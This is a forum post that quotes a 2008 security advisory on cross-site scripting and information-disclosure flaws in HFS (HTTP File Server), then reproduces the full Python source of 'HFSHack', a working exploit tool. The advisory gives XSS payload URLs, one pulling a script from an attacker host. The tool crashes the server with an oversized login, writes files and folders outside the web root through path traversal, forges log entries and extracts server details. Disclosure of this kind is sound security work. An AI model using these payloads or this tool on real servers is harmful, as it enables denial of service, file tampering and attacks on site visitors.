Hi, HFS is a great project for all but i find this.
My question is: In new version of HFS 2.3 Beta Build 284 has solved this problems?
Thank for read and sorry for my bad english.
Good luck!!!!.
Syhunt: HFS (HTTP File Server) Template Cross-Site Scripting and
Information Disclosure Vulnerabilities
Advisory-ID: 200801161
Discovery Date: 1.16.2008
Release Date: 1.23.2008
Affected Applications: HFS 2.0 to and including 2.3(Beta Build
#174)
Non-Affected Applications: HFS 1.6a and earlier versions
Class: Cross-Site Scripting (XSS), Information Disclosure
Status: Patch available/Vendor informed
Vendor: Massimo Melina
Vendor URL:
http://www.rejetto.com/hfs -or- hfs.sourceforge.net
The Common Vulnerabilities and Exposures (CVE) project has
assigned the following CVEs to these vulnerabilities:
* CVE-2008-0409 - Cross-Site Scripting (XSS) and Host Field XSS
* CVE-2008-0410 - Information Disclosure Vulnerability
----------------------------------------------------------------
Overview:
HFS is a very popular open source HTTP server designed for
easily sharing files. According to information on the official
website, the HTTP File Server software has been downloaded about
2 million times.
Description:
When a specific URL is visited, HFS displays a non-existent
account name in the response body. This non-existent account
name can be HTML code, allowing a remote attacker to use this
to launch XSS attacks.
Because the HTML code is also recognized by the web server as a
HFS HTML template, it is also possible to inject symbols to
force HFS to reveal details about the server (eg, current HFS
server version, build, connections, timestamp, uptime, current
outbound and inbound speed, and more). Technical details are
included below.
----------------------------------------------------------------
Details (Replicating the issues):
1) Cross-Site Scripting (XSS) and Host Field XSS Vulnerabilities
Example 1 - Launching a basic XSS:
http://<script>alert('Syhunt%20XSS')<%2fscript>a:x@[host]/
Example 2 - Injecting an external script (A mix of encoding and
javascript functions is used here to circumvent browser
URL limitations):
http://<script>var%20sChar=String%2efromCharCode(58)%3bdocument
%2ewrite('<script%20src=http'+sChar+'%2f%2fwww%2eattacker%2ecom
%2fxss%2ejs><%5c%2fscript>')%3b<%2fscript>a:x@[host]/
* This is specially dangerous if launched against Firefox. In
order to protect the password from prying eyes, Firefox entirely
hides what comes before the at (@) character and then only the
host name remains visible in the address bar. Firefox will also
resubmit the auth credentials everytime the host is visited
during the current browser session (unless new credentials are
supplied).
* User must be already logged in (via /~login) and the current
(root) path should not be password protected in the HFS-VFS
panel.
* If the host symbol is injected using this technique, HFS will
recognize it as a HTML template and return the data provided in
Host field of the request as part of the response body. The same
happens if the host symbol has been included (after
customization) in the current HFS HTML template.
Detection:
http://www.syhunt.com/advisories/hfshack.txtSee the "checkxss" command
Sandcat can also be used to identify this issue:
http://www.syhunt.com/sandcat2) Information Disclosure
Example 1 - Injecting Symbols:
http://www.syhunt.com/advisories/hfshack.txtThe "ver" command will force HFS to reveal its version and build
The "symbols" command will force HFS to reveal additional
details about the server (such as connections, timestamp, uptime,
current outbound and inbound speed, and more).
* You can disable the "Send HFS identifier" option (which
enables the HFS banner) and remove all server identifier
symbols from the original HTML template, and still it will work.
Additional Considerations:
* An updated IE will not accept basic auth via URL. See:
http://support.microsoft.com/kb/834489 and the MS security
update 832894 if you wish to learn about this subject.
----------------------------------------------------------------
Vulnerability Status:
The vendor was contacted and has immediately released HFS 2.2c
which fixes these problems. The new version can be downloaded at
www.rejetto.com/hfs/download or via the "Check for news/updates"
option in the HFS menu.
As a workaround for the affected releases, users should remove
the %user% and %host% symbols from any HFS HTML templates.
Testers of HFS 2.3 Beta should upgrade to the latest 2.3 beta
build.
HFS 2.3 Beta specifically is only affected if the option
"Accept any login for unprotected resources" is enabled. This
option, introduced in this version, is disabled by default.
----------------------------------------------------------------
Credit:
Felipe Aragon and Alec Storm
Syhunt Security Research Team,
www.syhunt.com---
Copyright © 2008 Syhunt Security
Disclaimer:
The information in this advisory is provided "as is" without
warranty of any kind. Details provided are strictly for
educational and defensive purposes.
Syhunt is not liable for any damages caused by direct or
indirect use of the information provided by this advisory.
Exploit HFS 2.0 to and including 2.3(Beta Build 174)
#!/usr/bin/python
"""
----------------------------------------------------------------
HFSHack 1.0b (By Felipe M. Aragon And Alec Storm )
----------------------------------------------------------------
* CVE-2008-0409 - Cross-Site Scripting (XSS) and Host Field XSS
* CVE-2008-0410 - Information Disclosure Vulnerability
Affected Versions: HFS 2.0 to and including 2.3(Beta Build 174)
http://www.syhunt.com/advisories/hfs-1-template.txt
* CVE-2008-0405 - Arbitrary File/Folder Creation Vulnerability
* CVE-2008-0406 - Denial of Service (DoS) Vulnerability
Affected Versions: HFS 2.2 to and including 2.3(Beta Build 174)
http://www.syhunt.com/advisories/hfs-1-log.txt
* CVE-2008-0407 - Username Spoofing Vulnerability
* CVE-2008-0408 - Log Forging / Injection Vulnerability
Affected Versions: HFS 1.5g to and including 2.3(Beta Build
174); and possibly HFS version 1.5f
http://www.syhunt.com/advisories/hfs-1-username.txt
Vulnerabilities found by Syhunt (http://www.syhunt.com)
Sandcat can also identify these issues:
http://www.syhunt.com/sandcat
"""
import urllib2, sys, re, commands, StringIO, string, base64
host = '127.0.0.1' # Default Host
help = ('\n'
'open [hostname]\n'
' This should be called first (unless you want the default host)\n\n'
'checkdos\n'
' Performs the Log DoS Attack (Makes the server crash)\n\n'
'checkxss\n'
' Checks for the presence of the Template XSS Vulnerability\n\n'
'manipf [localfilename] [remotefilename]\n'
' Appends content of a local file to a remote file. Examples:\n'
' manipf inject.html index.html or ..\\..\index.html\n'
' Note: If the file does not exists, it will be created.\n\n'
'maniplog [localfilename]\n'
' Injects content of a local file to the HFS log panel and file\n\n'
'mkd [dirname]\n'
' Creates directories. Examples:\n'
' mkd Test or ..\\..\\Windows\\Test\n\n'
'symbols\n'
' Forces HFS to reveal details about the server\n\n'
'ver\n'
' Forces HFS to show its version and build, and displays which\n\n'
' HFSHack commands are available for it\n'
'quit\n'
' Exits this application'
'\r\n')
readme = (
'(c) 2008 Syhunt Security. All rights reserved.\n\n'
'This tool is provided ''as-is'', without any expressed or implied\n'
'warranty. In no event will the author be held liable for any\n'
'damages arising from the use of this tool.\n\n'
'Permission is granted to anyone to use this tool, and to alter\n'
'it and redistribute it freely, subject to the following\n'
'restrictions:\n\n'
'1. The origin of this tool must not be misrepresented, you must\n'
' not claim that you wrote the original tool.\n\n'
'2. Altered source versions must be plainly marked as such, and\n'
' must not be misrepresented as being the original plugin.\n\n'
'3. This notice may not be removed or altered from any source\n'
' distribution.\n\n'
'If you have any questions concerning this license, please email\n'
'contact _at_ syhunt _dot_ com\n'
)
about = (
'----------------------------------------------------------------\n'
' Syhunt HFSHack 1.0b\n'
'----------------------------------------------------------------\n\n'
'This exploit tool should be used only by system administrators\n'
'(or other people in charge).\n\n'
'Type "readme" and read the text before continuing\n\n'
'If you have already read it, type "help" to view a list of\n'
'commands.'
)
# Extra Details to Obtain
symbol_list = (
'connections;Current number of connections to HFS',
'timestamp;Date and time of the server',
'uptime;Uptime',
'speed-out;Current outbound speed',
'speed-in;Current inbound speed',
'total-out;Total amount of bytes sent',
'total-downloads;Total amount of bytes sent',
'total-hits;Total Hits',
'total-uploads;Total Uploads',
'number-addresses;Current number of connected clients (IPs)',
'number-addresses-ever;Number of unique IPs ever connected',
'number-addresses-downloading;Current number of downloading clients (IPs)',
)
# Affected Versions
re_200801161 = '^HFS(.*?)(2.[0-1]|2.2$|2.2[a-b]|2.3 beta)'
re_200801162 = '^HFS(.*?)(2.2$|2.2[a-b]|2.3 beta)'
re_200801163 = '^HFS(.*?)(1.5[f-g]|1.6|2.[0-1]|2.2$|2.2[a-b]|2.3 beta)'
re_cangetver = '^HFS(.*?)(2.[0-1]|2.2$|2.2[a-b])'
# Common Messages
msg_par_mis = 'Parameter(s) missing.'
msg_done = 'Done.\n'
msg_acc_file = 'Error reading local file (file not found):'
msg_help = 'Type "help" to view a list of commands.'
msg_err_con = 'Error Connecting:'
msg_fail = 'Failed.'
msg_req_ok = 'Request accepted.'
uagent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Syhunt HFSHack)';
path = '/' # Default Path
def dorequest(hpath,auth_data,s_msg,f_msg):
globals()["rcvd"] = ''
globals()["banner"] = ''
url = 'http://'+host+hpath
try:
opener = urllib2.build_opener(url)
opener.addheaders = [('User-agent', uagent)]
if auth_data != '':
opener.addheaders = [('Authorization', 'Basic '+auth_data)]
globals()["rcvd"] = opener.open(url).readlines()
if 'server' in opener.open(url).headers:
globals()["banner"] = opener.open(url).headers['server']
except Exception, msg:
if f_msg != '':
print f_msg,msg
return False
else:
if s_msg != '':
print s_msg
return True
def genbase64str(string):
base64str = base64.encodestring(string);
base64str = base64str.replace("\n","")
return base64str
def readlocalfile(filename):
file = open(filename, "r")
text = file.readlines()
file.close()
print text
filecontentstr = ''
for l in text:
filecontentstr = filecontentstr+l
return filecontentstr
def ishostavailable():
return dorequest(path,'','',msg_err_con)
def getservinfo(symbol,desc):
base64str = base64.encodestring('<id>%'+symbol+'%</id>');
if dorequest(path,base64str,'',msg_err_con):
for l in rcvd:
hfsver = re.findall('<id>(.*?)</id>', l)
for r in hfsver:
if r != []:
hfsverdec = urllib2.unquote(hfsver[0])
if desc != '':
print desc+': '+hfsverdec
return hfsverdec
else:
return ''
def getallservinf():
for l in symbol_list:
curl = l.split(';')
getservinfo(curl[0],curl[1])
def hfsmkdir(dirname):
base64str = genbase64str('\\..\\'+dirname+'\\')+'AA';
dorequest(path,base64str,msg_req_ok,msg_fail)
def shutdownhfs():
dosstr = genbase64str('a' * 270 + ':')
if dorequest(path,dosstr,msg_fail,'DoS executed.'):
dorequest(path,'','Host is still up.','Host is now down.')
def hfsappendtofile(filename,string):
base64str = genbase64str('\\..\\'+filename)+'AA';
dorequest('/?%0a'+string,base64str,msg_req_ok,msg_fail)
def hfsinjecttolog(string):
base64str = genbase64str(string);
dorequest('/',base64str,msg_req_ok,msg_fail)
def procparams(cmd):
try:
if len(cmd) > 0:
if cmd[1] != []:
globals()["host"] = cmd[1]
except:
print "No target info provided. Using localhost"
def checkxss():
if ishostavailable():
curver = getservinfo('version','')
if curver != '':
return 'XSS Found'
else:
return 'Not Vulnerable'
else:
return msg_fail
def isbanner(regex):
p = re.compile(regex)
m = p.match(banner)
return m
def showacceptedcmds():
cmds = 'None (This server is not vulnerable)';
if isbanner(re_200801161):
cmds = 'checkxss symbols ver'
if isbanner(re_200801162):
cmds = cmds+' manipf mkd checkdos'
if isbanner(re_200801163):
cmds = cmds+' maniplog'
print '\nAvailable commands for this server:'
print ' '+cmds+'\n'
def showver():
cangetver = True
if banner != '':
server_name = banner.split()
print banner
if server_name[0] != 'HFS':
print 'Not running HFS!'
cangetver = False
else:
if isbanner(re_cangetver):
print 'Confirming version...'
else:
cangetver = False
else:
print 'No version information found.'
print 'The "Send HFS identifier" option is probably disabled.'
print 'Trying to force HFS to display its version...'
if cangetver == True:
idver = getservinfo('version','HFS version number')
idbuild = getservinfo('build','HFS build number')
globals()["banner"] = 'HFS '+idver+' '+idbuild
showacceptedcmds()
def result(s):
cmd = s.split()
if len(cmd) > 0:
curcmd = cmd[0]
result = 'Invalid command. Type "help" for list of commands.'
if curcmd == 'open':
procparams(cmd)
if ishostavailable():
showver()
result = 'Connected.\n'
else:
result = msg_fail
elif curcmd == 'symbols':
if ishostavailable():
showver()
print 'Forcing HFS to reveal more details...'
getallservinf()
result = msg_done
elif curcmd == 'ver':
if ishostavailable():
showver()
result = msg_done
elif curcmd == 'mkd':
if len(cmd) > 1:
if cmd[1] != []:
hfsmkdir(cmd[1])
result = msg_done
else:
result = msg_par_mis
elif curcmd == 'manipf':
if len(cmd) > 2:
try:
localfilecontent = readlocalfile(cmd[1])
except Exception, msg:
result = msg_acc_file,msg
else:
localfilecontent = localfilecontent.replace("\n","%0a")
hfsappendtofile(cmd[2],localfilecontent)
result = msg_done
else:
result = msg_par_mis
elif curcmd == 'maniplog':
if len(cmd) > 1:
try:
localfilecontent = readlocalfile(cmd[1])
except Exception, msg:
result = msg_acc_file,msg
else:
hfsinjecttolog(localfilecontent)
result = msg_done
else:
result = msg_par_mis
elif curcmd == 'checkdos':
shutdownhfs()
result = msg_done
elif curcmd == 'checkxss':
result = checkxss()
elif curcmd == 'help':
result = help
elif curcmd == 'readme':
result = readme
elif curcmd == 'quit':
result = 'Bye!'
return result
else:
return msg_help
print about
s = ""
while s != "quit":
try: s = raw_input(">")
except EOFError:
s = "quit"
print s
print result(s)
